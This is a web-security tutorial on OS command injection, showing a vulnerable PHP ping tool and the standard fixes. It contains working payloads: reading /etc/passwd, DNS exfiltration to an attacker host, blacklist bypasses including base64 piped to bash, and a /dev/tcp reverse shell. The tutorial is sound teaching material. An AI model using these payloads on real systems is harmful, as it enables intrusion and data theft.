Somewhere on the app there is a harmless little tool — ping a host, look up a domain, export a PDF. Behind it, a developer glued your input straight onto a shell command. The shell can’t tell your data apart from its own syntax. Add one character and you’re no longer pinging a host. You’re running commands on the server.
Plenty of web apps still shell out to the operating system for the unglamorous jobs — resolving a hostname, converting an image, rendering a report. The bug shows up the moment a developer takes something you typed and pastes it into that command as plain text. To you it’s a hostname. To the shell, characters like ; and | aren’t letters at all — they’re instructions. So when the code builds ping -c1 followed by your input, you don’t have to give it a host. You can give it a host and a second command, and the shell will dutifully run both. That’s OS command injection, and on a bad day it’s a one-line path to full remote code execution.
The mistake: building a command out of a string
Picture the most boring feature imaginable — a “Network Tools” page with a box that pings whatever host you type. The developer wires it up the obvious way: take the host parameter, glue it onto a command, and hand the whole string to the shell.
// $host comes straight from the request — no checks $host = $_POST['host']; // the app asks a SHELL to run this whole string: system("ping -c1 " . $host); # with a normal host it does exactly what you'd expect: $ ping -c1 8.8.8.8 # but the shell reads ; | & && $() `` as SYNTAX, not text...
Here’s the whole problem in one sentence: the shell parses the finished string for meaning before it runs anything. Your input was supposed to be inert data — a hostname — but it’s travelling through a layer whose entire job is to interpret punctuation. A semicolon ends a command. A pipe feeds one command’s output into the next. Backticks and $( ) run a command and splice its output back in. None of that was meant for you to control, and yet it is sitting right next to your text with nothing in between.
What the attacker types
So instead of a host, you send 8.8.8.8; id. The app builds ping -c1 8.8.8.8; id and hands it to the shell. The shell sees two statements separated by a semicolon: ping that address, then run id. The ping runs, finishes, and then your command runs too — as whatever user the web server is, usually www-data.
; id (or | whoami) to a value the feature already accepts.POST /tools/ping HTTP/1.1
Host: shop.example.com
Content-Type: application/x-www-form-urlencoded
host=8.8.8.8;idPING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=118 time=6.0 ms --- 8.8.8.8 ping statistics --- 1 packets transmitted, 1 received, 0% loss uid=33(www-data) gid=33(www-data) groups=33(www-data)
That last line is the whole game. uid=33(www-data) is the output of id running on the server, printed straight back to you under the ping results. The application thought it was pinging a host. It was actually executing your code. From here, everything the www-data user can touch, you can touch.
Three flavours: in-band, blind, out-of-band
You won’t always get a tidy uid=33 printed back. Whether the output comes home decides how you detect and exploit the bug, and there are three shapes it takes.
In-band (results-based) is the friendly case above: the command’s output is reflected in the HTTP response, so you simply read your answer off the page. Blind is when the command runs but you never see its output — the app swallows it. You can’t see id, but you can still prove execution by making the server wait: inject ; sleep 10 and watch the response take ten seconds longer. If it hangs on cue, your command ran. Out-of-band (OAST) is for when even timing is awkward, or when you want to exfiltrate data: make the server reach out to a host you control, e.g. ; nslookup x.attacker.oastify.com. When the DNS query lands on your Collaborator/interactsh server, that callback is undeniable proof — and you can smuggle command output into the subdomain to get it back.
POST /tools/ping HTTP/1.1
Host: shop.example.com
host=8.8.8.8;sleep 10(no command output shown) Host appears reachable. Response received: 10.04 s baseline for this request was ~0.04 s
; sleep 10 — a 10-second delay that only appears when you ask for it proves the command executed.; nslookup x.attacker.oastify.com and watch your Collaborator for the DNS hit. The callback is the confirmation.The payloads you actually send
Every injection comes down to the same move: break out of the intended command, then bolt yours on. The separator you choose changes the behaviour. ; and a newline run your command after the first regardless of how it went. | pipes the first command’s output into yours (and often discards the original output, handy when you only want yours). && runs yours only if the first succeeds, || only if it fails. Backticks and $( ) are command substitution — they run inside the original command and splice the result in place.
# --- separators: end the ping, run your command --- 8.8.8.8; id # run id after the ping 8.8.8.8 | whoami # pipe — often shows only YOUR output 8.8.8.8 && cat /etc/passwd # run only if ping succeeds 8.8.8.8 || id # run only if ping fails # --- command substitution: runs INSIDE the original --- 8.8.8.8 $(id) # $(...) splices the output in 8.8.8.8 `id` # backticks do the same thing # --- blind: no output, so prove it with time or a callback --- 8.8.8.8; sleep 10 # time-based: 10s delay = it ran 8.8.8.8; nslookup x.oastify.com # OOB: DNS hit on YOUR server # --- exfiltrate command output over DNS (OOB data) --- 8.8.8.8; nslookup `whoami`.x.oastify.com # www-data.x.oastify.com
A quick housekeeping note that saves a lot of confusion: this is command injection, not code injection. Code injection feeds the application’s own language to its interpreter — think a stray eval() running PHP you supplied. Command injection escapes the application entirely and hands instructions to the operating system’s shell. Different layer, both ugly, and the same root cause: untrusted input ending up somewhere a parser will interpret it.
When there’s a filter in the way
Real targets aren’t always naked. Someone bolted on a blacklist — strips spaces, blocks the word whoami, drops obvious separators. That stops the lazy payload, not a determined one, because the shell offers a dozen ways to write the same thing. Blacklisting shell syntax is a losing game, and this is why.
# spaces blocked? the shell's field separator still works ;cat${IFS}/etc/passwd # ${IFS} expands to a space ;cat$IFS$9/etc/passwd # classic IFS variant {cat,/etc/passwd} # brace expansion, no spaces # keyword 'whoami' blacklisted? break it up — shell still reads it w''hoami # empty quotes vanish at parse time w\hoami # a backslash before a normal char = nothing who$@ami # $@ expands to empty /bin/cat /etc/pa*swd # wildcard dodges literal matching # everything filtered? encode it, decode at runtime echo${IFS}aWQK|base64${IFS}-d|bash # base64 "id" -> piped to bash # separator blocked? try another — they're not all on the list 8.8.8.8%0a id # newline (URL-encoded) is a separator too
The pattern is always the same: the filter checks the bytes you sent, but the shell normalises them before it runs anything. ${IFS} becomes a space. w''hoami becomes whoami once the empty quotes collapse. base64 -d | bash hides the entire payload inside an innocent-looking blob until the moment it executes. You aren’t defeating the shell — you’re using it exactly as designed, which is the part defenders keep underestimating.
From one command to a shell you live in
Running id proves the bug. Nobody stops there. The next step is an interactive foothold — a reverse shell, where the server connects out to you (outbound usually isn’t firewalled the way inbound is) and you get a live prompt on the box.
# 1) on YOUR box, start a listener $ nc -lvnp 4444 # 2) inject a reverse-shell one-liner into the host field # (attacker = 10.10.14.7) 8.8.8.8; bash -i >& /dev/tcp/10.10.14.7/4444 0>&1 # 3) the connection lands — you now have a live shell as www-data connect to [10.10.14.7] from (UNKNOWN) [203.0.113.9] www-data@web-01:/var/www/html$ whoami www-data www-data@web-01:/var/www/html$ sudo -l # now hunt for privesc
And that’s the whole arc: a ping box becomes a remote shell. From www-data you read the app’s config and database credentials, pivot to the internal network, and start looking for a way to root — a sudo misconfig, a SUID binary, a stale kernel. The injection was the front door; everything after is post-exploitation. Which is exactly why this bug is rated critical and not “informational.”
The fix: stop handing strings to a shell
There is one real fix, and escaping is not it. The reason injection exists is that input and command syntax share a string and a shell parses them together. So don’t do that. Run the program directly, passing the arguments as a list, so the OS never invokes a shell to parse anything. Now your input is just argv[1] — a literal string the program receives, with no punctuation that means anything to anyone.
subprocess.run(["ping","-c1",host], shell=False) — never os.system(), os.popen(), or shell=True with concatenation. In PHP, if you truly must shell out, wrap every argument in escapeshellarg($host) and prefer proc_open over system()/exec()/` `. Then allow-list the input (e.g. validate it really is an IP/hostname), and run least-privilege so a slip is contained. Do not rely on a blacklist of metacharacters — it is bypassable by design.# PYTHON — pass a LIST, no shell parses it import subprocess, ipaddress ipaddress.ip_address(host) # allow-list: must be a valid IP subprocess.run(["ping","-c1", host], shell=False) # "8.8.8.8; id" is now ONE argument to ping — it just fails to resolve # PHP — if you must shell out, quote EVERY argument $host = escapeshellarg($_POST['host']); system("ping -c1 " . $host); # ; | $() are now inert text # BETTER PHP — skip the shell entirely proc_open(["ping","-c1",$host], $spec, $pipes);
At a glance
| Flavour | How you detect it | Example payload |
|---|---|---|
| In-band | Your command’s output is reflected in the HTTP response | 8.8.8.8; id |
| Blind (time) | Response stalls on cue — an injected delay you control | 8.8.8.8; sleep 10 |
| Out-of-band | A DNS/HTTP callback lands on your Collaborator server | ; nslookup x.oastify.com |
| OOB exfil | Command output smuggled into the callback subdomain | ; nslookup `whoami`.x.oastify.com |
| Filter bypass | Same execution, syntax the blacklist didn’t expect | ;cat${IFS}/etc/passwd |
; | & $() ` as syntax, so 8.8.8.8; id runs id as the web user. Confirm it in-band (output reflected), blind (; sleep 10 delay), or out-of-band (; nslookup x.oastify.com callback), beat naive filters with ${IFS}, quote-splitting and base64|bash, then escalate to a reverse shell for full RCE. The only real fix is to never hand a string to a shell: run the binary directly with arguments as a list (subprocess.run([...], shell=False), escapeshellarg), allow-list the input, and run least-privilege. Blacklisting metacharacters does not work.